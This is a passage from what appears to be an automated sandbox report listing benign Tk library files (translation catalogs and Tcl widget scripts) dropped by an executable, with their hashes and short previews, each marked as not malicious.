\u03b4\u03c5\u03bd\u03b1\u03c4\u03ae \u03b7 \u03b1\u03bb\u03bb\u03b1\u03b3\u03ae \u03ba\u

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\en.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3286
Entropy (8bit):	4.214322279125194
Encrypted:	false
SSDEEP:	24:sqHa4IUXCtvLPgyq1+1ylnJzqFtC2NAXSxFFRRTDubLorIlnB:d64I5tDPgDNnH2SXSZRRTDuPZlB
MD5:	64725ED622DBF1CB3F00479BA84157D7
SHA1:	575429AEABAF6640425AC1BC397B3382C1ED1122
SHA-256:	673C76A48ADA09A154CB038534BF90E3B9C0BA5FD6B1619DB33507DE65553362
SHA-512:	4EBDCAB20D095789BB8D94476CCFD29DEE8DFCF96F1C2030387F0521827A140E22BBB0DAD4B73EABE26D70E1642C9981BC5CBBF0045FEABB9EF98C7CDB67795E
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset en "&Abort". ::msgcat::mcset en "&About...". ::msgcat::mcset en "All Files". ::msgcat::mcset en "Application Error". ::msgcat::mcset en "&Apply". ::msgcat::mcset en "Bold". ::msgcat::mcset en "Bold Italic". ::msgcat::mcset en "&Blue". ::msgcat::mcset en "Cancel". ::msgcat::mcset en "&Cancel". ::msgcat::mcset en "Cannot change to the directory \"%1\$s\".\nPermission denied.". ::msgcat::mcset en "Choose Directory". ::msgcat::mcset en "Cl&ear". ::msgcat::mcset en "&Clear Console". ::msgcat::mcset en "Color". ::msgcat::mcset en "Console". ::msgcat::mcset en "&Copy". ::msgcat::mcset en "Cu&t". ::msgcat::mcset en "&Delete". ::msgcat::mcset en "Details >>". ::msgcat::mcset en "Directory \"%1\$s\" does not exist.". ::msgcat::mcset en "&Directory:". ::msgcat::mcset en "&Edit". ::msgcat::mcset en "Effects". ::msgcat::mcset en "Error: %1\$s". ::msgcat::mcset en "E&xit". ::msgcat

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\en_gb.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	63
Entropy (8bit):	4.185724027617087
Encrypted:	false
SSDEEP:	3:fEGp6fR1FAGoW8vMKEQXK:sooLoQO6
MD5:	EC6A7E69AB0B8B767367DB54CC0499A8
SHA1:	6C2D6B622429AB8C17E07C2E0F546469823ABE57
SHA-256:	FB93D455A9D9CF3F822C968DFB273ED931E433F2494D71D6B5F8D83DDE7EACC2
SHA-512:	72077EAB988979EB2EE292ACDB72537172A5E96B4262CE7278B76F0FEBD7E850D18221DB551D1DE3C6EB520985B5E9642936BEEB66032F920593276784525702
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset en_gb Color Colour.}.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\eo.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3916
Entropy (8bit):	4.556739397782912
Encrypted:	false
SSDEEP:	48:9714zhrzeU10xrFf+/eR0Mqp+cIFIXd/KcrtCcuUc6Sq4Pe:97145eFrF2GSMqgcIFIXdyAene
MD5:	09EF4B30B49A71FD4DEA931E334896E1
SHA1:	6C2366CE5961CFDA53259A43E087A813CEE41841
SHA-256:	5DE113DC4CE0DF0D8C54D4812C15EC31387127BF9AFEA028D20C6A5AA8E3AB85
SHA-512:	9DB3BB6B76B1299AE4612DF2A2872ECEE6642FC7DF971BE3A22437154AD25E81E1B1F3E1AA7A281CB3F48F8F8198A846BCB008CCFF91A9720440AFE5BAB7DE84
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset eo "&Abort" "&\u0108esigo". ::msgcat::mcset eo "&About..." "Pri...". ::msgcat::mcset eo "All Files" "\u0108ioj dosieroj". ::msgcat::mcset eo "Application Error" "Aplikoerraro". ::msgcat::mcset eo "&Blue" "&Blua". ::msgcat::mcset eo "Cancel" "Rezignu". ::msgcat::mcset eo "&Cancel" "&Rezignu". ::msgcat::mcset eo "Cannot change to the directory \"%1\$s\".\nPermission denied." "Neeble \u0109angi al dosierulon \"%1\$s\".\nVi ne rajtas tion.". ::msgcat::mcset eo "Choose Directory" "Elektu Dosierujo". ::msgcat::mcset eo "Cl&ear" "&Klaru". ::msgcat::mcset eo "&Clear Console" "&Klaru konzolon". ::msgcat::mcset eo "Color" "Farbo". ::msgcat::mcset eo "Console" "Konzolo". ::msgcat::mcset eo "&Copy" "&Kopiu". ::msgcat::mcset eo "Cu&t" "&Enpo\u015digu". ::msgcat::mcset eo "&Delete" "&Forprenu". ::msgcat::mcset eo "Details >>" "Detaloj >>". ::msgcat::mcset eo "Directory \"%1\$s\" does not exist." "La dosieruj

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\es.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3948
Entropy (8bit):	4.486102294561867
Encrypted:	false
SSDEEP:	48:vTaZD2XRgGiWXirZe0uoH02QyTaBi2DcDmQ/jY33l4TCyFv:vmZaXhFbyGB3ELjDV
MD5:	93FFA957E3DCF851DD7EBE587A38F2D5
SHA1:	8C3516F79FB72F32848B40091DA67C81E40FDEFE
SHA-256:	91DC4718DC8566C36E4BCD0C292C01F467CA7661EFF601B870ABCDFE4A94ECBB
SHA-512:	8EC7048DDFF521DE444F697EAB305777BAC24AEA37716DA4FE5374E93CEF66DDD58D535BE8FCBCD2636D623337643B1242798BB8AC7292EA2D81AE030C3A605C
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset es "&Abort" "&Abortar". ::msgcat::mcset es "&About..." "&Acerca de ...". ::msgcat::mcset es "All Files" "Todos los archivos". ::msgcat::mcset es "Application Error" "Error de la aplicaci\u00f3n". ::msgcat::mcset es "&Blue" "&Azul". ::msgcat::mcset es "Cancel" "Cancelar". ::msgcat::mcset es "&Cancel" "&Cancelar". ::msgcat::mcset es "Cannot change to the directory \"%1\$s\".\nPermission denied." "No es posible acceder al directorio \"%1\$s\".\nPermiso denegado.". ::msgcat::mcset es "Choose Directory" "Elegir directorio". ::msgcat::mcset es "Cl&ear" "&Borrar". ::msgcat::mcset es "&Clear Console" "&Borrar consola". ::msgcat::mcset es "Color". ::msgcat::mcset es "Console" "Consola". ::msgcat::mcset es "&Copy" "&Copiar". ::msgcat::mcset es "Cu&t" "Cor&tar". ::msgcat::mcset es "&Delete" "&Borrar". ::msgcat::mcset es "Details >>" "Detalles >>". ::msgcat::mcset es "Directory \"%1\$s\" does not exist." "

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\fr.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3805
Entropy (8bit):	4.582498923493114
Encrypted:	false
SSDEEP:	48:fiESNtfQIFBqFHjUp4KiOzbgRuhzSAEFlBGr3jd:fiESP1aVdKiHRXcN
MD5:	9FC55235C334F6F6026D5B38AFFB9E10
SHA1:	CAD3805900E860B9491E3EE5C2C0F52ADCA67065
SHA-256:	0A8BBB4D1FD87BF7A90DDFA50F4724994C9CE78D1F3E91CF40C1177DB7941DC5
SHA-512:	FBB5E72BC376DDB9F43B8C79398CA287AFAAAF8292A8CB3AF63241973B1748FD578D49075A1287DA054BA81D3ED61A723F3DE9E10855D5E85620B371D70D9BBD
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset fr "&Abort" "&Annuler". ::msgcat::mcset fr "About..." "\u00c0 propos...". ::msgcat::mcset fr "All Files" "Tous les fichiers". ::msgcat::mcset fr "Application Error" "Erreur d'application". ::msgcat::mcset fr "&Blue" "&Bleu". ::msgcat::mcset fr "Cancel" "Annuler". ::msgcat::mcset fr "&Cancel" "&Annuler". ::msgcat::mcset fr "Cannot change to the directory \"%1\$s\".\nPermission denied." "Impossible d'acc\u00e9der au r\u00e9pertoire \"%1\$s\".\nPermission refus\u00e9e.". ::msgcat::mcset fr "Choose Directory" "Choisir r\u00e9pertoire". ::msgcat::mcset fr "Cl&ear" "Effacer". ::msgcat::mcset fr "Color" "Couleur". ::msgcat::mcset fr "Console". ::msgcat::mcset fr "Copy" "Copier". ::msgcat::mcset fr "Cu&t" "Couper". ::msgcat::mcset fr "Delete" "Effacer". ::msgcat::mcset fr "Details >>" "D\u00e9tails >>". ::msgcat::mcset fr "Directory \"%1\$s\" does not exist." "Le r\u00e9pertoire \"%1\$s\" n'existe pas.".

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\hu.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4600
Entropy (8bit):	4.752507976327236
Encrypted:	false
SSDEEP:	96:IYIzxGy0Kt9C81y/HSzVqUaJf9q/x5a/mETsN:IB1FCt/4vZM+EA
MD5:	E1BA9C40A350BAD78611839A59065BF0
SHA1:	1A148D230C9F8D748D96A79CD4E261AF264D6524
SHA-256:	C8134EAD129E44E9C5043E1DAD81A6A900F0DE71DB3468E2603840038687F1D8
SHA-512:	17EC7F14C708C4D8C77731C26D0CE8AF6EBAB3D1CA878FB9682F15F0546031E39EF601683832631CA329549A630F2C9A3A69B1CC6E3CC927353605834FC62CAE
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset hu "&Abort" "&Megszak\u00edt\u00e1s". ::msgcat::mcset hu "&About..." "N\u00e9vjegy...". ::msgcat::mcset hu "All Files" "Minden f\u00e1jl". ::msgcat::mcset hu "Application Error" "Alkalmaz\u00e1s hiba". ::msgcat::mcset hu "&Blue" "&K\u00e9k". ::msgcat::mcset hu "Cancel" "M\u00e9gsem". ::msgcat::mcset hu "&Cancel" "M\u00e9g&sem". ::msgcat::mcset hu "Cannot change to the directory \"%1\$s\".\nPermission denied." "A k\u00f6nyvt\u00e1rv\u00e1lt\u00e1s nem siker\u00fclt: \"%1\$s\".\nHozz\u00e1f\u00e9r\u00e9s megtagadva.". ::msgcat::mcset hu "Choose Directory" "K\u00f6nyvt\u00e1r kiv\u00e1laszt\u00e1sa". ::msgcat::mcset hu "Cl&ear" "T\u00f6rl\u00e9s". ::msgcat::mcset hu "&Clear Console" "&T\u00f6rl\u00e9s Konzol". ::msgcat::mcset hu "Color" "Sz\u00edn". ::msgcat::mcset hu "Console" "Konzol". ::msgcat::mcset hu "&Copy" "&M\u00e1sol\u00e1s". ::msgcat::mcset hu "Cu&t" "&Kiv\u00e1g\u00e1s". ::msgcat::mcset hu "

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\it.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3692
Entropy (8bit):	4.444986253861924
Encrypted:	false
SSDEEP:	48:rtcxronR9zvjZ3hWsH9TYT/dllvOr80nC2dnGHc839kUqg:xcxoXBhlHiT/dlcY0HpVg
MD5:	ADB80EC5B23FC906A1A3313A30D789E6
SHA1:	5FB163BC1086D3366228204078F219FE4BB67CB3
SHA-256:	9F83DD0309ED621100F3187FFCDAE50B75F5973BBE74AF550A78EF0010495DED
SHA-512:	BA6E0C165561CDAEAB565EF1FED4087AB3B41EC3C18432C1BDA9B011E5C7C2E12F6B2CFC9F5C0CFAC1134AE53D80459D8E5B638739C61A851232047DEA7F3BA2
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset it "&Abort" "&Interrompi". ::msgcat::mcset it "&About..." "Informazioni...". ::msgcat::mcset it "All Files" "Tutti i file". ::msgcat::mcset it "Application Error" "Errore dell' applicazione". ::msgcat::mcset it "&Blue" "&Blu". ::msgcat::mcset it "Cancel" "Annulla". ::msgcat::mcset it "&Cancel" "&Annulla". ::msgcat::mcset it "Cannot change to the directory \"%1\$s\".\nPermission denied." "Impossibile accedere alla directory \"%1\$s\".\nPermesso negato.". ::msgcat::mcset it "Choose Directory" "Scegli una directory". ::msgcat::mcset it "Cl&ear" "Azzera". ::msgcat::mcset it "&Clear Console" "Azzera Console". ::msgcat::mcset it "Color" "Colore". ::msgcat::mcset it "Console". ::msgcat::mcset it "&Copy" "Copia". ::msgcat::mcset it "Cu&t" "Taglia". ::msgcat::mcset it "Delete" "Cancella". ::msgcat::mcset it "Details >>" "Dettagli >>". ::msgcat::mcset it "Directory \"%1\$s\" does not exist." "La director

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\nl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4466
Entropy (8bit):	4.472386382725933
Encrypted:	false
SSDEEP:	48:791wMjS3Md15YNISfTMEu5KIXTLLBIafWUuvfbLnZj4gT7VT4k7BLyslwI6Blb4t:DVe3MX8ISUKYuXbLnZj4MRJhjSIO4t
MD5:	B628EAFD489335ED620014B56821B792
SHA1:	8F6AFF68B42B747D30870D6DA7E058294921406A
SHA-256:	D3D07AAD792C0E83F4704B304931EA549D12CBB3D99A573D9815E954A5710707
SHA-512:	C33D097D2897D20F75A197E30B859DC83C8B4E42F260150BC7205918779D77A8C2390BE65376622F6705C38ECDF6F14B6ABAD29EDE3DE79603025BBBC39BEBC7
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset nl "&Abort" "&Afbreken". ::msgcat::mcset nl "&About..." "Over...". ::msgcat::mcset nl "All Files" "Alle Bestanden". ::msgcat::mcset nl "Application Error" "Toepassingsfout". ::msgcat::mcset nl "&Apply" "Toepassen". ::msgcat::mcset nl "Bold" "Vet". ::msgcat::mcset nl "Bold Italic" "Vet Cursief". ::msgcat::mcset nl "&Blue" "&Blauw". ::msgcat::mcset nl "Cancel" "Annuleren". ::msgcat::mcset nl "&Cancel" "&Annuleren". ::msgcat::mcset nl "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan niet naar map \"%1\$s\" gaan.\nU heeft hiervoor geen toestemming.". ::msgcat::mcset nl "Choose Directory" "Kies map". ::msgcat::mcset nl "Cl&ear" "Wissen". ::msgcat::mcset nl "&Clear Console" "&Wis Console". ::msgcat::mcset nl "Color" "Kleur". ::msgcat::mcset nl "Console". ::msgcat::mcset nl "&Copy" "Kopi\u00ebren". ::msgcat::mcset nl "Cu&t" "Knippen". ::msgcat::mcset nl "&Delete" "Wissen". ::

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\pl.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4841
Entropy (8bit):	4.754441208797498
Encrypted:	false
SSDEEP:	48:mYpnddv1H+BBv5vVXKjB+y7ldBU63XQ3DGHolytTzEQdWaz0ybBaKG:zpdzH+3vLKnG63XdHoMpYYaL
MD5:	17B63EFE0A99F44D27DD41C4CC0A8A7B
SHA1:	3E45C0102B287908D770A31D1906678E785088C2
SHA-256:	1993B4EC2DC009D2E6CA185D0BD565D3F33A4EFA79BACA39E4F97F574D63F305
SHA-512:	F8B9E7BC76A4ED5F948A9E505F3B1A321E322DD57CF88BEF36B6A9AF793462E45432709402151B4BB520B12B089A043CA23FF86106ED7B5C73DFBB6E233907F4
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset pl "&Abort" "&Przerwij". ::msgcat::mcset pl "&About..." "O programie...". ::msgcat::mcset pl "All Files" "Wszystkie pliki". ::msgcat::mcset pl "Application Error" "B\u0142\u0105d w programie". ::msgcat::mcset pl "&Apply" "Zastosuj". ::msgcat::mcset pl "Bold" "Pogrubienie". ::msgcat::mcset pl "Bold Italic" "Pogrubiona kursywa". ::msgcat::mcset pl "&Blue" "&Niebieski". ::msgcat::mcset pl "Cancel" "Anuluj". ::msgcat::mcset pl "&Cancel" "&Anuluj". ::msgcat::mcset pl "Cannot change to the directory \"%1\$s\".\nPermission denied." "Nie mo\u017cna otworzy\u0107 katalogu \"%1\$s\".\nOdmowa dost\u0119pu.". ::msgcat::mcset pl "Choose Directory" "Wybierz katalog". ::msgcat::mcset pl "Cl&ear" "&Wyczy\u015b\u0107". ::msgcat::mcset pl "&Clear Console" "&Wyczy\u015b\u0107 konsol\u0119". ::msgcat::mcset pl "Color" "Kolor". ::msgcat::mcset pl "Console" "Konsola". ::msgcat::mcset pl "&Copy" "&Kopiuj". ::msgcat::

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\pt.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3913
Entropy (8bit):	4.5841256573492135
Encrypted:	false
SSDEEP:	48:k82mOQNHHouc2Ib2dxwj0Hpn4KeJ4iFHh29wDPK8+i92M5L:k82mOenox2x5Hp47mi3ZUMB
MD5:	236356817E391D8871EA59667F47DA0C
SHA1:	948EE95F4549DA8C7D412911D17B4B62CBA22ADD
SHA-256:	AD0E466131D3789DE321D9D0588E19E4647BA82EDE41EEE6EBEF464786F8BDBE
SHA-512:	3AB10D1980D4C1367EA0BB54E50709DF32A870E851EDE80F30F66DA4B09C1ACFFF4E77C462BD815DD67F485DDFF77FEBD09CA29D77EEE55FE8A00D115D600C32
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset pt "&Abort" "&Abortar". ::msgcat::mcset pt "About..." "Sobre ...". ::msgcat::mcset pt "All Files" "Todos os arquivos". ::msgcat::mcset pt "Application Error" "Erro de aplica\u00e7\u00e3o". ::msgcat::mcset pt "&Blue" "&Azul". ::msgcat::mcset pt "Cancel" "Cancelar". ::msgcat::mcset pt "&Cancel" "&Cancelar". ::msgcat::mcset pt "Cannot change to the directory \"%1\$s\".\nPermission denied." "N\u00e3o foi poss\u00edvel mudar para o diret\u00f3rio \"%1\$s\".\nPermiss\u00e3o negada.". ::msgcat::mcset pt "Choose Directory" "Escolha um diret\u00f3rio". ::msgcat::mcset pt "Cl&ear" "Apagar". ::msgcat::mcset pt "&Clear Console" "Apagar Console". ::msgcat::mcset pt "Color" "Cor". ::msgcat::mcset pt "Console". ::msgcat::mcset pt "&Copy" "Copiar". ::msgcat::mcset pt "Cu&t" "Recortar". ::msgcat::mcset pt "&Delete" "Excluir". ::msgcat::mcset pt "Details >>" "Detalhes >>". ::msgcat::mcset pt "Directory \"%1\$s\"

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\ru.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	7214
Entropy (8bit):	4.358559144448363
Encrypted:	false
SSDEEP:	96:ZUEBGTT4Ys7LT3xXkhF2xSrwFlOzFAn9E/j49cDRqRjGSQvN8Nfo5hgV9aWTRtaa:SraFGImk+4RKOGqRyRu
MD5:	D7C27DBDF7B349BE13E09F35BA61A5F8
SHA1:	40A52544B557F19736EA1767BFBF5708A9BBC318
SHA-256:	C863DEBAB79F9682FD0D52D864E328E7333D03F4E9A75DBB342C30807EFDCFFB
SHA-512:	DAF10336096B0574F060757CB6DD24049692F81B969B01BB8FA212035D955B8DA53F5ECDE3613E6AEF3C47165F075CC14363E4B854B2407EA452EAB4D4D31955
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset ru "&Abort" "&\u041e\u0442\u043c\u0435\u043d\u0438\u0442\u044c". ::msgcat::mcset ru "&About..." "\u041f\u0440\u043e...". ::msgcat::mcset ru "All Files" "\u0412\u0441\u0435 \u0444\u0430\u0439\u043b\u044b". ::msgcat::mcset ru "Application Error" "\u041e\u0448\u0438\u0431\u043a\u0430 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435". ::msgcat::mcset ru "&Blue" " &\u0413\u043e\u043b\u0443\u0431\u043e\u0439". ::msgcat::mcset ru "Cancel" "\u041e\u0442&\u043c\u0435\u043d\u0430". ::msgcat::mcset ru "&Cancel" "\u041e\u0442&\u043c\u0435\u043d\u0430". ::msgcat::mcset ru "Cannot change to the directory \"%1\$s\".\nPermission denied." \...."\u041d\u0435 \u043c\u043e\u0433\u0443 \u043f\u0435\u0440\u0435\u0439\u0442\u0438 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \"%1\$s\".\n\u041d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u043f\u0440\u0430\u0432 \u0434\u043e\u0441\u0442\u0443\u043f\u0430".

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\msgs\sv.msg

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	3832
Entropy (8bit):	4.609382297476727
Encrypted:	false
SSDEEP:	48:g4HXcfWBJdE10M4/00li6z8XIxTB2iDxypdmmZbWxOt:FXcf6H00li9IxTEbQsb7t
MD5:	DB1712B1C1FF0E3A46F8E86FBB78AA4D
SHA1:	28D9DB9CBEE791C09BD272D9C2A6C3DA80EB89EA
SHA-256:	B76EBFA21BC1E937A04A04E5122BE64B5CDEE1F47C7058B71D8B923D70C3B17B
SHA-512:	F79CD72DCD6D1B4212A5058DA5A020E8A157E72E6D84CAFB96463E76C1CED5AC367A2295EF743FDE70C9AB1CF2F4D88A4A73300DFD4F799AA3ECDA6FBF04E588
Malicious:	false
Preview:	namespace eval ::tk {. ::msgcat::mcset sv "&Abort" "&Avsluta". ::msgcat::mcset sv "&About..." "&Om...". ::msgcat::mcset sv "All Files" "Samtliga filer". ::msgcat::mcset sv "Application Error" "Programfel". ::msgcat::mcset sv "&Blue" "&Bl\u00e5". ::msgcat::mcset sv "Cancel" "Avbryt". ::msgcat::mcset sv "&Cancel" "&Avbryt". ::msgcat::mcset sv "Cannot change to the directory \"%1\$s\".\nPermission denied." "Kan ej n\u00e5 mappen \"%1\$s\".\nSaknar r\u00e4ttigheter.". ::msgcat::mcset sv "Choose Directory" "V\u00e4lj mapp". ::msgcat::mcset sv "Cl&ear" "&Radera". ::msgcat::mcset sv "&Clear Console" "&Radera konsollen". ::msgcat::mcset sv "Color" "F\u00e4rg". ::msgcat::mcset sv "Console" "Konsoll". ::msgcat::mcset sv "&Copy" "&Kopiera". ::msgcat::mcset sv "Cu&t" "Klipp u&t". ::msgcat::mcset sv "&Delete" "&Radera". ::msgcat::mcset sv "Details >>" "Detaljer >>". ::msgcat::mcset sv "Directory \"%1\$s\" does not exist." "Mappen \"%1\$s\" finns

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\obsolete.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5594
Entropy (8bit):	4.9941618573215525
Encrypted:	false
SSDEEP:	96:oz4CrtmsXVwM3Er4VAEQ93NZB1o+IFF5ZYi4GUoLf33yLLddzA:oUCrtmsFREEs999o7FF5ZYi4GjLfS/d2
MD5:	7763C90F811620A6C1F0A36BAF9B89CA
SHA1:	30E24595DD683E470FE9F12814D27D6D266B511E
SHA-256:	F6929A5E0D18BC4C6666206C63AC4AAA66EDC4B9F456DFC083300CFA95A44BCD
SHA-512:	2E2887392C67D05EA85DB2E6BFD4AA27779BC82D3B607A7DD221A99EFF0D2A21A6BA47A4F2D2CDFC7CFECD7E93B2B38064C4D5A51406471AE142EC9CC71F5C48
Malicious:	false
Preview:	# obsolete.tcl --.#.# This file contains obsolete procedures that people really shouldn't.# be using anymore, but which are kept around for backward compatibility..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# The procedures below are here strictly for backward compatibility with.# Tk version 3.6 and earlier. The procedures are no longer needed, so.# they are no-ops. You should not use these procedures anymore, since.# they may be removed in some future release...proc tk_menuBar args {}.proc tk_bindForTraversal args {}..# ::tk::classic::restore --.#.# Restore the pre-8.5 (Tk classic) look as the widget defaults for classic.# Tk widgets..#.# The value following an 'option add' call is the new 8.5 value..#.namespace eval ::tk::classic {. # This may need to be adjusted for some windo

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\optMenu.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1586
Entropy (8bit):	4.733749898743743
Encrypted:	false
SSDEEP:	48:k2hguC4Zxk+Z0cIWR3afbR1EIC+KtVa+6WX13jZQl9:k6T9N3atqIkeS9FQD
MD5:	D17FE676A057F373B44C9197114F5A69
SHA1:	9745C83EEC8565602F8D74610424848009FFA670
SHA-256:	76DBDBF9216678D48D1640F8FD1E278E7140482E1CAC7680127A9A425CC61DEE
SHA-512:	FF7D9EB64D4367BB11C567E64837CB1DAAA9BE0C8A498CAD00BF63AF45C1826632BC3A09E65D6F51B26EBF2D07285802813ED55C5D697460FC95AF30A943EF8F
Malicious:	false
Preview:	# optMenu.tcl --.#.# This file defines the procedure tk_optionMenu, which creates.# an option button and its associated menu..#.# Copyright (c) 1994 The Regents of the University of California..# Copyright (c) 1994 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk_optionMenu --.# This procedure creates an option button named $w and an associated.# menu. Together they provide the functionality of Motif option menus:.# they can be used to select one of many values, and the current value.# appears in the global variable varName, as well as in the text of.# the option menubutton. The name of the menu is returned as the.# procedure's result, so that the caller can use it to change configuration.# options on the menu or otherwise manipulate it..#.# Arguments:.# w -...The name to use for the menubutton..# varName -..Global variable to hold the currently selected value..# first

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\palette.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	8174
Entropy (8bit):	4.9180898441277705
Encrypted:	false
SSDEEP:	192:ZUW5yUd51URCJWgWWWuWVWUKoDOdnAjLDlJymGH91QOW86vkQI:ZLXaCI3dFUlPdnAP69W89
MD5:	ABE618A0891CD6909B945A2098C77D75
SHA1:	A322CCFB33FF73E4A4730B5B21DE4290F9D94622
SHA-256:	60B8579368BB3063F16D25F007385111E0EF8D97BB296B03656DC176E351E3CA
SHA-512:	2DF5A50F3CA7D21F43651651879BCAE1433FF44B0A7ECE349CCF73BECC4780160125B21F69348C97DCD60503FC79A6525DB723962197E8550B42D0AE257FD8E7
Malicious:	false
Preview:	# palette.tcl --.#.# This file contains procedures that change the color palette used.# by Tk..#.# Copyright (c) 1995-1997 Sun Microsystems, Inc..#.# See the file "license.terms" for information on usage and redistribution.# of this file, and for a DISCLAIMER OF ALL WARRANTIES..#..# ::tk_setPalette --.# Changes the default color scheme for a Tk application by setting.# default colors in the option database and by modifying all of the.# color options for existing widgets that have the default value..#.# Arguments:.# The arguments consist of either a single color name, which.# will be used as the new background color (all other colors will.# be computed from this) or an even number of values consisting of.# option names and values. The name for an option is the one used.# for the option database, such as activeForeground, not -activeforeground...proc ::tk_setPalette {args} {. if {[winfo depth .] == 1} {..# Just return on monochrome displays, otherwise errors will occur..return. }.

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\panedwindow.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	5176
Entropy (8bit):	4.933519639131517
Encrypted:	false
SSDEEP:	96:PmpWHrga3awUrH6kdX3pBz6tkm71cHXYV23EmkiYlgfY8:+pWHrP36r6kJ3pBetkm6HXVUmPYlgfY8
MD5:	2DA0A23CC9D6FD970FE00915EA39D8A2
SHA1:	DFE3DC663C19E9A50526A513043D2393869D8F90
SHA-256:	4ADF738B17691489C71C4B9D9A64B12961ADA8667B81856F7ADBC61DFFEADF29
SHA-512:	B458F3D391DF9522D4E7EAE8640AF308B4209CE0D64FD490BFC0177FDE970192295C1EA7229CE36D14FC3E582C7649460B8B7B0214E0FF5629B2B430A99307D4
Malicious:	false
Preview:	# panedwindow.tcl --.#.# This file defines the default bindings for Tk panedwindow widgets and.# provides procedures that help in implementing those bindings...bind Panedwindow <Button-1> { ::tk::panedwindow::MarkSash %W %x %y 1 }.bind Panedwindow <Button-2> { ::tk::panedwindow::MarkSash %W %x %y 0 }..bind Panedwindow <B1-Motion> { ::tk::panedwindow::DragSash %W %x %y 1 }.bind Panedwindow <B2-Motion> { ::tk::panedwindow::DragSash %W %x %y 0 }..bind Panedwindow <ButtonRelease-1> {::tk::panedwindow::ReleaseSash %W 1}.bind Panedwindow <ButtonRelease-2> {::tk::panedwindow::ReleaseSash %W 0}..bind Panedwindow <Motion> { ::tk::panedwindow::Motion %W %x %y }..bind Panedwindow <Leave> { ::tk::panedwindow::Leave %W }..# Initialize namespace.namespace eval ::tk::panedwindow {}..# ::tk::panedwindow::MarkSash --.#.# Handle marking the correct sash for possible dragging.#.# Arguments:.# w..the widget.# x..widget local x coord.# y..widget local y coord.# proxy.whether this should be a prox

C:\Users\user\AppData\Local\Temp\_MEI65762\tk\pkgIndex.tcl

Download File

Process:	C:\Users\user\AppData\Local\Temp\7017.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	363
Entropy (8bit):	4.977735142707899
Encrypted:	false
SSDEEP:	6:Cjtl17nOJRVxTc6ynID/cL44ncleXNyLMQ9HECJBIQ08PbDMQ9HECJBIQem8:ot7rOJdg6LYUlVfBIUjjfBIFF
MD5:	A6448AF2C8FAFC9A4F42EACA6BF6AB2E
SHA1:	0B295B46B6DF906E89F40A907022068BC6219302
SHA-256:	CD44EE7F76C37C0C522BD0CFCA41C38CDEDDC74392B2191A3AF1A63D9D18888E
